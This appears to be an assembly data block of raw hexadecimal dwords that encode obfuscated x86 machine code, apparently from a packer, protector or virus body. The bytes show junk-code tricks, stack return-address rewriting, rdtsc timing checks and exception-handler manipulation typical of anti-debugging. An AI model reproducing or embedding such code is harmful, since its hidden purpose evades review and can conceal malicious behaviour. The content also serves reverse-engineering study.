		dd 4595FF75h, 6A061D31h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0FD15C350h,	89FCB167h
		dd 20A36285h, 81B50106h, 0E9061D27h, 223h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 3CC35141h, 0A8228547h
		dd 14E9h, 0A0FC0D00h, 0F74E152Ch, 471274B3h, 1AC5F48Bh
		dd 408C77Bh, 5A858B8Dh,	660620A3h, 7B7F88Bh, 1800C7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66BE51C3h, 0BE9FE8Bh, 0A4000000h, 5BD874A1h,	9F1C80F1h
		dd 9D8B93E3h, 61D1681h,	0A35EB58Bh, 0BF660620h,	8D89AAD4h
		dd 61D0F5Dh, 147D858Bh,	6A061Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 33D378C3h, 137B5622h
		dd 0FC69FB7Eh, 0BB660689h, 858B3F85h, 61D20E1h,	93F78166h
		dd 446895Ch, 0A0D9D8Bh,	0E996061Dh, 14h, 0F3CC9857h, 0D50490h
		dd 1E7EECC1h, 49D822D5h, 35A8D056h, 0E9525050h,	9, 404DA063h
		dd 0DD1F8D71h, 66310F0Ch, 585AFB8Bh, 56006A96h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0DCA248F4h
		dd 550627FBh, 0BD895609h, 61D325Dh, 78C0F5Bh, 60000000h
		dd 0CA806160h, 0B5FF6135h, 620A35Ah, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 19C35040h, 8B51F079h, 1D300DBDh
		dd 0D4685F06h, 81BCD326h, 0DD2B2404h, 6A434Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 9F761AC3h, 158139Dh,	0A1D9D8Bh, 858D061Dh, 620A362h
		dd 16819D8Bh, 0BF50061Dh, 736E971Fh, 6A240489h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0BC0DC351h, 9B81CDBFh, 3860F17h, 80000000h, 95FFF9E7h
		dd 61D3145h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	45C35242h, 6ADC2377h, 0E8988A8Dh, 9, 14320F66h
		dd 28764B5h, 0FE8B666Fh, 0D9BD8B5Bh, 61061D2Bh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BEC35747h, 0F985098Ah
		dd 81061D07h, 0D9D8E5DBh, 0F985C714h, 3061D2Bh,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C2BC352h, 9560EC43h, 0FE96Bh, 0A8B10000h
		dd 0ED11271Ch, 0C35E3F64h, 7739C177h, 62BD8367h, 620A3h
		dd 74840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 5B35CFC3h, 0A8556FBCh, 0E98D8980h
		dd 60061D0Bh, 1691B589h, 9D31061Dh, 61D1C75h, 53E961h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 7742EEC3h, 13E973C6h, 0A9000000h,	21E7549h
		dd 16274B60h, 3E587A4Fh, 0CD72A17Ah, 3050C9BBh,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 525C556Bh, 35FACF81h, 0F5F11A6h, 18Bh, 0BD83F800h, 61D2BF9h
		dd 0D3850F03h, 89000003h, 1D02A1BDh, 62BD8306h,	620A3h
		dd 3C0840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 129B8CC3h, 0FB8B6674h, 0A362B5FFh
		dd 81660620h, 0FF7421EBh, 1D2B0995h, 31BD8B06h,	8B061D20h
		dd 20A356B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 968800C6h, 2A6F4BA8h, 88D0FC7h, 57000000h
		dd 1FFD8531h, 0C75F061Dh, 1000106h, 0ADBD8B00h,	96061D2Ch
		dd 6A9650h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 76413DC3h, 0AE9h,	685C3300h, 0D2FF42A6h
		dd 0FFB64D66h, 20A362B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0CD76D8A9h
		dd 1ABB68F7h, 0FFF8BF0Fh, 1D208195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 3444985Fh
		dd 9ADEBBDAh, 0B58B26DAh, 620A356h, 6810Fh, 9D8B0000h
		dd 61D0405h, 2211BD03h,	858B061Dh, 61D0085h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 47C35545h, 107B5DDFh
		dd 0DD0F970Dh, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 39316CC3h, 85298187h
		dd 61D1D61h, 8BFE8B66h,	1D20D195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 4C2839Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 49C35242h, 8E97B60Dh
		dd 9789F0F8h, 85F381EBh, 8917F31Ah, 6A2050h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 783BDC3h
		dd 0AE7CB40Dh, 0B678858Dh, 8B500620h, 1D030DBDh, 86895B06h
		dd 0B8h, 6AF8B70Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 35DFEF0Fh, 761524EBh
		dd 0FFFAB70Fh, 20A362B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 9FA25DA4h
		dd 6995FF29h, 6A061D15h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0AE8DC352h,	0BB311E82h
		dd 398D895Dh, 96061D19h, 0EA5AA4BBh, 6052500Fh,	5F0DBA66h
		dd 61DA8B66h, 6A965Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 10A2B4C3h, 0F1F6B64Ah, 599D8BD5h
		dd 31061D04h, 1D2F15BDh, 62B5FF06h, 0F90620A3h,	1A9595FFh
		dd 0BB66061Dh, 0BD835729h, 61D2C71h, 1D840F00h,	0F000000h
		dd 286h, 3ADB300h, 1D0205BDh, 29BB5006h, 8926355Bh, 0BD8B2434h
		dd 61D03C9h, 0A362B5FFh, 9D030620h, 61D0971h, 9AD95FFh
		dd 7E9061Dh, 35000000h,	0C1E96FA0h, 0B5FF9C3Bh,	620A362h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EBC35747h
		dd 4C5BA5ABh, 17B91EBAh, 7E8h, 608DB800h, 86B8D52Ch, 7195FF5Bh
		dd 0E9061D2Ah, 7, 0B67DBC91h, 83DC4607h, 1D03EDBDh, 840F0206h
		dd 24h,	6870Fh,	9D8B0000h, 61D0301h, 6CCDF81h, 858B528Eh
		dd 61D2F49h, 0C6DE8B66h, 9D8B0000h, 61D04C1h, 0D585C7h
		dd 61Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h,	44810424h
		dd 1C0424h, 57470000h, 0A18952C3h, 58AD2567h, 99E90CCBh
		dd 89FFFFF3h, 1D2EC58Dh, 6AC18B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5CB9C352h
		dd 0E89CDAEEh, 0CE869B9h, 12000000h, 0A5BB19D8h, 0A565F4EBh
		dd 8B983655h, 1D21DD9Dh, 33F85F06h, 1D02859Dh, 21858D06h
		dd 81061D04h, 0AE805DBh, 90509055h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 29C35343h, 1426F0AFh, 5363FF19h
		dd 6E8h, 443E9A00h, 0BBFDCC82h,	593C58Bh, 6A5F5Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CAC35343h, 561EE1C7h
		dd 978D38Fh, 1D00118Dh,	6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C260C350h
		dd 0C6B52EB7h, 840FFAC1h, 1Bh, 15830Fh,	10E90000h, 75000000h
		dd 65AC4F78h, 0B4A270EDh, 0B45E97Bh, 8D8E3C2Dh,	22025385h
		dd 0B8BF6606h, 5C083EEh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 3AC35545h, 7E28A566h,	11633322h, 2F8DBD8Bh
		dd 6690061Dh, 5057F3BFh, 89006A90h, 1D27AD9Dh, 0D9BF6606h
		dd 50006AA9h, 0E85B3BB7h, 0Dh, 0CD2A3DA3h, 8329CB63h, 0B3BB5F53h
		dd 0E5E38178h, 5B35D522h, 2A3995FFh, 0BB66061Dh, 8D8D477Bh
		dd 6209535h, 0FCB8166h,	0FFFE8BE0h, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 6BCDA2CBh
		dd 0C29A6D4Eh, 0DE9B9h,	12150000h, 4980E47Eh, 59E9172Eh
		dd 89C302D3h, 1D01118Dh, 0C1BD8306h, 1061D31h, 39850Fh
		dd 0BD8B0000h, 61D0015h, 0B531026Ah, 61D208Dh, 24BB6690h
		dd 665050D2h, 5F15ABBFh, 0DE990h, 0E3BD0000h, 38A83DE9h
		dd 355F8D31h, 0FFAB166Bh, 1D156995h, 2DEF8106h,	0E97E3945h
		dd 0F10h, 0E8h,	0ED815D00h, 622025Dh, 6A5FE380h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 22DEC355h, 329A3DD3h, 0B748F0B1h, 22858D3Ah,	6A06208Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 813CC355h, 819589E8h, 8B061D07h, 1D25459Dh
		dd 52505006h, 5060310Fh, 5A310F52h, 8F0F58h, 61000000h
		dd 489585Ah, 499D2B24h,	64061D18h, 35FFh, 0D88A0000h, 258964h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 9DC8C350h, 27BF6516h, 0CF81665Ah
		dd 0BD8B7FEAh, 61D3329h, 1BC185FFh, 8D89061Dh, 61D0101h
		dd 14E9FF6Ah, 0DD000000h, 5C1B1CDCh, 6CA522B0h,	9904D410h
		dd 47B7A1F9h, 0FF20E5D6h, 1D13F5B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 9F24254Ch
		dd 8181EA7Bh, 0DB96D2CBh, 10860F02h, 0E9000000h, 0Bh, 4340EF6Ah
		dd 0EA1BE80h, 0FC0CB2Ch, 387h, 0FAB70F00h, 2CD595FFh, 1BE9061Dh
		dd 29000001h, 1D207D8Dh, 0B00B006h, 1D2F31BDh, 0F70E606h
		dd 71E4F9B7h, 0C535D781h, 613C66D6h, 0F8830Fh, 0BD030000h
		dd 61D0805h, 0BAC8B60Fh, 6, 8BF88B66h, 0FABF0FC1h, 0E804E8C1h
		dd 0Ch,	9D7A02A8h, 0EBE03900h, 4FD8C861h, 0A9958956h, 5F061D16h
		dd 0E2F7665Fh, 4800Fh, 0BB660000h, 0C82BBD87h, 820Fh, 0D18B0000h
		dd 2D1D8D89h, 0A3E9061Dh, 0E8000000h, 11h, 0A336AEF9h
		dd 9B985C03h, 1303A81Eh, 5DDB8526h, 2DBB665Fh, 858B5FF3h
		dd 44004E49h, 1840Fh, 0FF50000h, 289h, 83DBB300h, 9D8B07C0h
		dd 61D2D19h, 0E900C083h, 13h, 9EDCD765h, 7AF27F79h, 1197FFEDh
		dd 0AE5C797Dh, 3BE9D643h, 13830FD0h, 56000000h,	9899C381h
		dd 0E95F0873h, 3Ah, 26A98D09h, 8D8B061Dh, 0FFFFFFFFh, 83D8BF0Fh
		dd 840F01E1h, 22h, 0BDE38166h, 0FFA5839Fh, 0FEFFFFFFh
		dd 7EBDCBBFh, 49958936h, 8B44004Eh, 1D2699BDh, 0E906h
		dd 0B58D0000h, 6218087h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 85C35646h, 9D8B2027h,	61D0731h, 0BD8B006Ah
		dd 61D312Dh, 120995FFh,	6A061Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 22CC39C3h, 0DE8B85A9h
		dd 0EB7B9h, 25CF8100h, 8351A2C9h, 6AFCE1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 492BD5C3h
		dd 15A49A17h, 95E96F6h,	1D006D9Dh, 0F98AFC06h, 6AC02Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D715E7C3h, 0B1104F0Ch, 0BAh, 5BD8900h, 0AD061D0Ah
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0D980C352h, 570C88E6h, 17E1BD8Bh, 815B061Dh,	0BF4AE5E3h
		dd 9195894Bh, 0D061D1Ah, 88h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 1FC35747h, 7555D381h, 958B4E6Ch
		dd 61D20D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	53C35747h, 25BD2BDFh, 0B3061D19h, 1D8D8B19h, 6A061D33h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 605FC353h, 21BD03CEh, 50061D25h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 81665358h,	5FEF82CBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 8C35545h
		dd 7A61EDFCh, 0D781667Ah, 9589E78Eh, 61D22D1h, 3131BD83h
		dd 0F00061Dh, 8684h, 65BD3300h,	0B8061D02h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C3C35141h
		dd 6C7C1233h, 0CD0ACB81h, 8D8D0D29h, 61D4C89h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E4C35343h, 8E93Fh
		dd 98AE0000h, 5A745B2Dh, 0E1FFB14Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 33C35040h, 4DCC72E6h, 83C73CB4h
		dd 1D2BF9BDh, 840F0006h, 51Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 5BC35141h, 66DDFB02h, 81AFD5BFh
		dd 0E0A2BCDBh, 10E852h,	0F8EC0000h, 0D81747AEh,	552CE024h
		dd 2DF4B377h, 0BF66BFBFh, 835B83B5h, 1D2BF9BDh,	840F0106h
		dd 4E7h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0B4C35747h, 9589CD47h, 61D18ADh, 2BF9BD83h, 0F03061Dh
		dd 48086h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1704h, 0C3504000h, 5F940A66h, 0F47C380h, 0BD8BF8B7h
		dd 61D06EDh, 51006A60h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 1DEE8929h, 81667F1Bh, 80F97EDFh
		dd 850F84D3h, 19h, 14E9h, 0BF9F8800h, 9F806A31h, 0F6C07A27h
		dd 8A0DD58Bh, 0FC4B5718h, 0D98C6646h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 51C35242h, 0F04E180h, 0C90AF8B7h
		dd 169840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 6A873CC3h, 8E9h,	4605CA00h, 65951262h
		dd 0FB8B667Ch, 20E1858Bh, 0F60061Dh, 9589CBB7h,	61D3061h
		dd 99853361h, 29061D1Bh, 1D17EDB5h, 52505006h, 310FF88Ah
		dd 0BF665250h, 310F608Ch, 51496FBFh, 5A585A00h,	24048958h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 79C35141h
		dd 0A4920250h, 0D58D890Dh, 8B061D1Ch, 1D2A6DBDh, 0B7006A06h
		dd 4E867h, 3FF0000h, 0DE8001Fh,	0DE000000h, 0FC246434h
		dd 92E480E9h, 5096A0C6h, 0E960505Bh, 8,	0FB4DBD3Ah, 0F35B2256h
		dd 61DF8B66h, 424448Bh,	8BFE8Bh, 0A436CCBFh, 24448930h
		dd 14E85704h, 0C000000h, 1DF14EA7h, 0D04FCCB4h,	0D6D084CBh
		dd 7129B928h, 0F0BF134h, 81h, 585F5F00h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0D9C35040h, 55BD8B4Dh
		dd 0FF061D08h, 1D314595h, 62858906h, 6A0620A3h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4A4EC353h, 12E964h, 9A460000h, 0E77D1FEDh, 63F8677Eh
		dd 1179A884h, 144BCF4Fh, 1FFE9h, 91BD8B00h, 8B061D20h
		dd 20A35A85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 794F6B8Ch, 6D37BE1Eh, 70B70A89h
		dd 9D8BDF8Bh, 61D2601h,	1800C7h, 0BF660000h, 0B58BAF09h
		dd 620A35Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0C3C35343h, 165B5768h, 7028C75Bh, 21BD8B97h, 8B061D06h
		dd 1D147D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 8C2367FFh, 2CADBD29h, 689061Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 57C35242h, 5112A638h
		dd 89F30C3Bh, 1D15B585h, 0E1858B06h, 0F061D20h,	387h, 0FABF0F00h
		dd 6A044689h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 206C351h, 3070AB38h, 0E89E2BA4h
		dd 0Fh,	8B1336DEh, 4234AC90h, 48352AF5h, 0FE9C51Dh, 965BDAB7h
		dd 0EE9h, 0DF8B1000h, 2BFAFBB1h, 0C23B9FE4h, 50A2E4D0h
		dd 8115BF66h, 0FFFE8B96h, 20A35AB5h, 699D8B06h,	0E8061D11h
		dd 4, 1F03FFh, 0DABABB66h, 33BF6650h, 24448B3Bh, 8F0F6004h
		dd 2, 0C28B6160h, 0BF008B61h, 42083767h, 4244489h, 575F5260h
		dd 12E8h, 0D42F6400h, 0C60F3AC5h, 0BD6084DBh, 41575E6Bh
		dd 5F5138C8h, 6A58615Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0E4D7C351h,	447A338Bh
		dd 0BD23990Eh, 61D3305h, 0A362858Dh, 6A0620h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BFFE91C3h
		dd 7768E386h, 80D8B70Fh, 0BB90E5EBh, 7FE5F068h,	0C3819050h
		dd 228EB57Eh, 0FFF88B66h, 1D314595h, 0DEBF0F06h, 0C0E2BF61h
		dd 85C779F6h, 61D2BF9h,	3, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0D0C35141h, 2EA02E48h, 6880Fh, 0DB810000h
		dd 2F0A85FBh, 0A362BD83h, 0F000620h, 3484h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 877672E0h, 98E4D674h, 3D852993h, 0E9061D03h,	20h, 0D4DB8166h
		dd 0C30501Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0EBC35040h, 21B59D89h, 10E9061Dh, 0DE000000h, 94B6B8E5h
		dd 4DF8613Bh, 783BD88h,	837CB40Dh, 1D2BF9BDh, 850F0306h
		dd 466h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	56C35545h, 13AE6C9Bh, 12E99823h, 1E000000h, 0BBB5559Ah
		dd 9AE64B91h, 0BE98090Dh, 0DFC1A589h, 99D8BD7h,	83061D19h
		dd 20A362BDh, 840F0006h, 41Ah, 14E8h, 22AD7700h, 1CF4D400h
		dd 90230BB3h, 0FAAFD314h, 950D6E77h, 0B19589F6h, 5F061D32h
		dd 0A362B5FFh, 0BF500620h, 7C6E6A74h, 995FF5Fh,	6A061D2Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0CF83C355h, 0F9A6E1BFh, 9D8B9860h, 61D2021h
		dd 0A356B58Bh, 6C70620h, 10001h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0D7C35747h,	68B0Fh,	8D890000h
		dd 61D06EDh, 120DBD8Bh,	0F96061Dh, 88Ah, 2870F00h, 8A000000h
		dd 0E89650F9h, 11h, 9D13F062h, 479CC7FFh, 5F1FFFA5h, 696F2017h
		dd 499D8B37h, 5F061D05h, 0B5FF5FB3h, 620A362h, 7CE38052h
		dd 319D015Bh, 0FF061D21h, 1D208195h, 0B19D8B06h, 8B061D13h
		dd 20A356B5h, 7E906h, 0FAFE0000h, 27B65D50h, 85858B9Bh
		dd 6A061D00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0D151C357h, 1BC1C92Ah,	894622C3h
		dd 0C486h, 0BB666000h, 95896DF7h, 61D0F55h, 0D1958B61h
		dd 89061D20h, 1D0879BDh, 4C28306h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0BDC35747h,	9511FF97h, 2B55BD8Bh
		dd 5089061Dh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 8AF858E4h, 0DBD0105h, 8D061D08h
		dd 20B67885h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 85899084h, 61D1B95h, 11B19D8Bh, 8689061Dh
		dd 0B8h, 4CD9D33h, 850F061Dh, 0
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 9ED34C3h,	0C1AE4AB8h, 62B5FF12h, 6A0620A3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 17B1C356h, 0C0A4A792h, 55DB589h, 95FF061Dh
		dd 61D1569h, 0F16DBF66h, 89FB8B50h, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 2B81D1C3h
		dd 0B5FF2545h, 620A362h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 45C35545h, 9595FFF5h,	80061D1Ah, 0BD2393DBh
		dd 61D318Dh, 2C71BD83h,	0F00061Dh, 4D84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 7013F5C5h, 12E8h, 409F4300h,	353EED13h, 0BF4BD804h
		dd 60ACDC0Dh, 8934C355h, 1D1BA19Dh, 60965B06h, 62BF5061h
		dd 9634B128h, 24DBD8Bh,	0B5FF061Dh, 620A362h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 49C35242h, 0AD95FFE3h
		dd 6A061D09h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0ECDAC351h, 0E9A27FA9h, 0Bh, 0CB0F7570h
		dd 8CB28925h, 33A72CEAh, 1D11E9BDh, 0FE96006h, 0FD000000h
		dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 1CB2D625h, 62B5FF61h
		dd 6A0620A3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 977C351h, 2CC99F82h, 38EF120Ch
		dd 11718D01h, 0AE8061Dh, 0A9000000h, 59532F6h, 0F2366F07h
		dd 0FABF0FABh, 7195FF5Fh, 8B061D2Ah, 1D1AF99Dh,	0EDBD8306h
		dd 2061D03h, 42840Fh, 0FE90000h, 4E000000h, 311D1C5Eh
		dd 0C8ECCB78h, 50C17CFDh, 858BB2FAh, 61D2F49h, 6A0000C6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 7207C356h, 5CA36923h, 0D8B70F38h,	0D585C7h
		dd 61Dh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 140424h, 51410000h, 9E9FFC3h, 6AFFFFF2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 71E9C357h
		dd 8060BBF4h, 0ED80A5D5h, 0C18B6118h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0E4C35343h,	9D891B5Ah, 61D016Dh
		dd 421858Dh, 6A061Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0FFF222C3h, 0EDBF6602h, 0BB66909Fh
		dd 0B750168Ah, 6A9074h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0AD99E0C3h, 6A7565C4h, 5EF8100h
		dd 102589Fh, 1D30F18Dh,	89006A06h, 1D017DBDh, 0D1B58906h
		dd 8D061D2Bh, 22135485h, 799D8B06h, 83061D11h, 0BD8905C0h
		dd 61D1089h, 13E950h, 0C0BC0000h, 83C08D18h, 0AFB4B618h
		dd 4BB1CF15h, 25EDD846h, 2404893Bh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0CAC35545h,	8152DE4Eh, 0EB16AB26h
		dd 4880Fh, 0BF660000h, 6AF5AD5Dh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0EA0DB52Fh
		dd 3BA2E123h, 9529EF67h, 61D2A8Dh, 18840Fh, 12E80000h
		dd 0E2000000h, 64CE43E6h, 6AB3EDE6h, 6B1210DAh,	0F671BA5h
		dd 6A5B2Dh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ah,	0B8C35747h, 644986C5h, 0BF66041Bh, 95FF6A12h, 61D2A39h
		dd 8D8D79B3h, 6209535h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0CEC35040h, 9DBB6660h, 83D1FF77h, 1D31C1BDh
		dd 850F0106h, 6Ch, 48B0Fh, 0BF660000h, 26A40C6h, 199D8950h
		dd 5B061D2Bh, 5850F50h,	0BF000000h, 61BE12A6h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 4692C352h, 0FFAC85F1h, 1D156995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 49D92D96h, 32F19DC5h, 0E0CE9h, 0E800h, 815D0000h, 22135EEDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0B19D8B8Fh, 23061D32h, 1D300D9Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0BF937CE7h, 989C6A85h, 0BF6666DBh, 9D8B5C34h, 61D2E1Dh
		dd 8D22858Dh, 6A0620h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0DBA38EC3h, 3250583h, 12E9h, 6D3AB300h
		dd 78A66ECEh, 0ABDE39E6h, 0ED44EFEEh, 903DC619h, 0AEBB5250h
		dd 0F342B62h, 61606031h, 5A61D78Bh, 52505058h, 37A7BF66h
		dd 5250310Fh, 310F6160h, 0AE8h,	0E276E700h, 0DCA3E9F1h
		dd 5BA3DCEAh, 585A585Ah, 64F88B90h, 35FFh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0AA8455C3h, 0E781665Dh, 89644939h, 25h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 497EF191h, 0C381990Ch, 12B09980h, 1BC185FFh,	6A061Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A7D649C3h, 25659D8Bh, 0FF6A061Dh, 0A9B58957h, 5F061D26h
